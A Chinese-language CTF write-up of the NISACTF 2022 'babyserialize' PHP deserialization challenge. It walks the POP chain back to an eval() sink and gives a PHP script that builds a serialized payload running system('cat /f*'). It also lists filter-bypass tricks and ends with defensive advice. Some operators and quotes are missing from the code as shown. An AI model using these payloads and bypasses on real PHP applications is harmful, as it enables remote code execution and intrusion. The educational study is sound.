
1. PHP反序列化漏洞基础与POP链原理PHP反序列化漏洞是CTF比赛中常见的考点也是实际渗透测试中高危漏洞之一。简单来说当程序对用户输入的序列化数据进行反序列化时如果未做严格过滤攻击者可以通过精心构造的序列化字符串触发对象中的魔术方法最终实现任意代码执行。POP链Property-Oriented Programming Chain就像多米诺骨牌通过一系列对象属性和魔术方法的连锁反应达到攻击目的。在NISACTF 2022的babyserialize题目中我们需要从链尾的eval()函数开始逆向追踪就像侦探破案一样逐步找出整个调用链条。魔术方法是POP链的关键节点常见的包括__wakeup()反序列化时自动调用__toString()对象被当作字符串使用时触发__invoke()对象被当作函数调用时触发__call()调用不存在的方法时触发__set()给不可访问属性赋值时触发2. 逆向分析babyserialize的POP链构造2.1 从链尾开始定位关键点打开题目源码首先寻找最危险的函数eval()发现它在NISA类的__invoke方法中public function __invoke() { checkcheck($this-txw4ever); eval($this-txw4ever); }这里txw4ever参数就是我们的突破口如果能控制这个参数就能执行任意PHP代码。接下来需要找到触发__invoke的条件。在PHP中当对象被当作函数调用时如$obj()就会触发__invoke。我们在Ilovetxw类的__toString方法中发现了这样的调用public function __toString(){ $bb $this-su; return $bb(); }这里的$bb()正是触发点而su属性来自类实例化时的赋值。2.2 构建完整的调用链条继续向上追溯发现__toString触发点是four类中的strtolower($this-a)。当对象被当作字符串处理时比如字符串拼接、打印等就会调用__toString方法。通过这样的逆向追踪我们最终构建出完整的POP链__wakeup反序列化起点__call调用不存在方法时__set设置不可访问属性时__toString对象转字符串时__invoke对象当函数调用时eval最终代码执行2.3 关键属性标注与传参在构造POP链时需要特别注意属性值的传递顺序。以babyserialize为例NISA类的txw4ever属性需要设置为要执行的命令如system(cat /f*)Ilovetxw类的su属性需要指向NISA类实例four类的a属性需要指向Ilovetxw类实例通过__set方法设置fun属性绕过判断这种属性间的相互引用关系就像编程中的指针必须确保每个环节正确连接才能让整个链条运转起来。3. 自动化脚本编写实战3.1 类定义与实例化首先将所有类定义复制到脚本中然后按照POP链顺序实例化各个类?php class NISA{/*...*/} class TianXiWei{/*...*/} class Ilovetxw{/*...*/} class four{/*...*/} // 实例化NISA类并设置关键属性 $n new NISA(); $n-txw4ever system(cat /f*);; $n-fun 666; // 绕过hint检查 // 实例化Ilovetxw类并连接NISA实例 $i new Ilovetxw(); $i-su $n; // 实例化four类并连接Ilovetxw实例 $f new four(); $f-a $i; // 需要再次实例化Ilovetxw用于上层调用 $i2 new Ilovetxw(); $i2-huang $f; // 顶层触发类 $t new TianXiWei(); $t-ext $i2;3.2 序列化与输出完成对象构建后需要对顶层对象进行序列化并URL编码echo urlencode(serialize($t));这里有几个关键点需要注意即使同一个类被多次使用也需要分别实例化属性赋值顺序必须与POP链调用顺序一致私有属性需要在类定义中直接修改如four类的$fun3.3 调试技巧与常见问题在编写脚本时可能会遇到各种问题这里分享几个调试技巧逐步验证可以分阶段序列化对象检查每个环节的属性是否正确设置错误处理在关键位置添加var_dump()输出中间结果类型检查确保对象属性赋值时的类型匹配如需要对象的地方不能传入字符串常见问题包括魔术方法未正确触发检查触发条件是否满足属性值未正确传递检查对象引用关系私有属性处理不当需要在类定义中直接修改或使用特殊语法如\0类名\0属性名4. WAF绕过与防护规避4.1 hint函数绕过题目源码中存在hint函数检查public function __wakeup() { if($this-funshow_me_flag){ hint(); } }绕过方法很简单只需确保fun属性不等于show_me_flag即可。这就是为什么在脚本中我们设置$n-fun 666; // 任意非show_me_flag的值4.2 preg_match正则过滤题目使用preg_match对敏感函数进行过滤虽然未明确给出过滤规则但通常会对system、exec等危险函数进行拦截。绕过方法包括大小写变形如System、SYSTEM字符串拼接如syst.em替代函数如shell_exec、passthru反引号执行如cat /f*在babyserialize中直接使用system()会被拦截但奇怪的是题目提供的解法却使用了system。这可能是因为题目实际未过滤system过滤规则有缺陷如只过滤小写使用其他变形方式绕过4.3 其他可能的防护绕过在实际环境中还可能会遇到字符过滤通过十六进制、八进制编码绕过长度限制使用短标签、变量压缩禁用函数寻找未过滤的替代函数参数检查通过数组、对象等复杂结构绕过5. 实战经验与防御建议在真实的CTF比赛和渗透测试中PHP反序列化漏洞的利用往往比这个题目更复杂。以下是一些实战经验代码审计技巧优先查找unserialize()调用点跟踪所有可能的魔术方法绘制类与方法的调用关系图防御方案避免反序列化用户输入使用json_encode/json_decode替代实现严格的类型检查使用PHP 7的allowed_classes限制反序列化类漏洞挖掘模式白盒测试结合代码审计寻找利用链黑盒测试通过错误信息推断类结构混合测试结合源码泄露等辅助信息对于开发者来说理解反序列化漏洞的产生原理至关重要。我在实际项目中遇到过因为一个小疏忽导致整个系统沦陷的案例——某CMS的插件系统通过反序列化存储配置攻击者通过精心构造的请求最终获取了服务器权限。